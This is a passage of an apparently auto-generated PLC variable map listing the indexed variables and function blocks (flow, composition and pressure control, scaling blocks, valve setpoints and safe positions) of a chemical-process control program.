+22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;INT; +144;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +156;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +157;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +158;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +159;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +160;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +162;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +165;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; 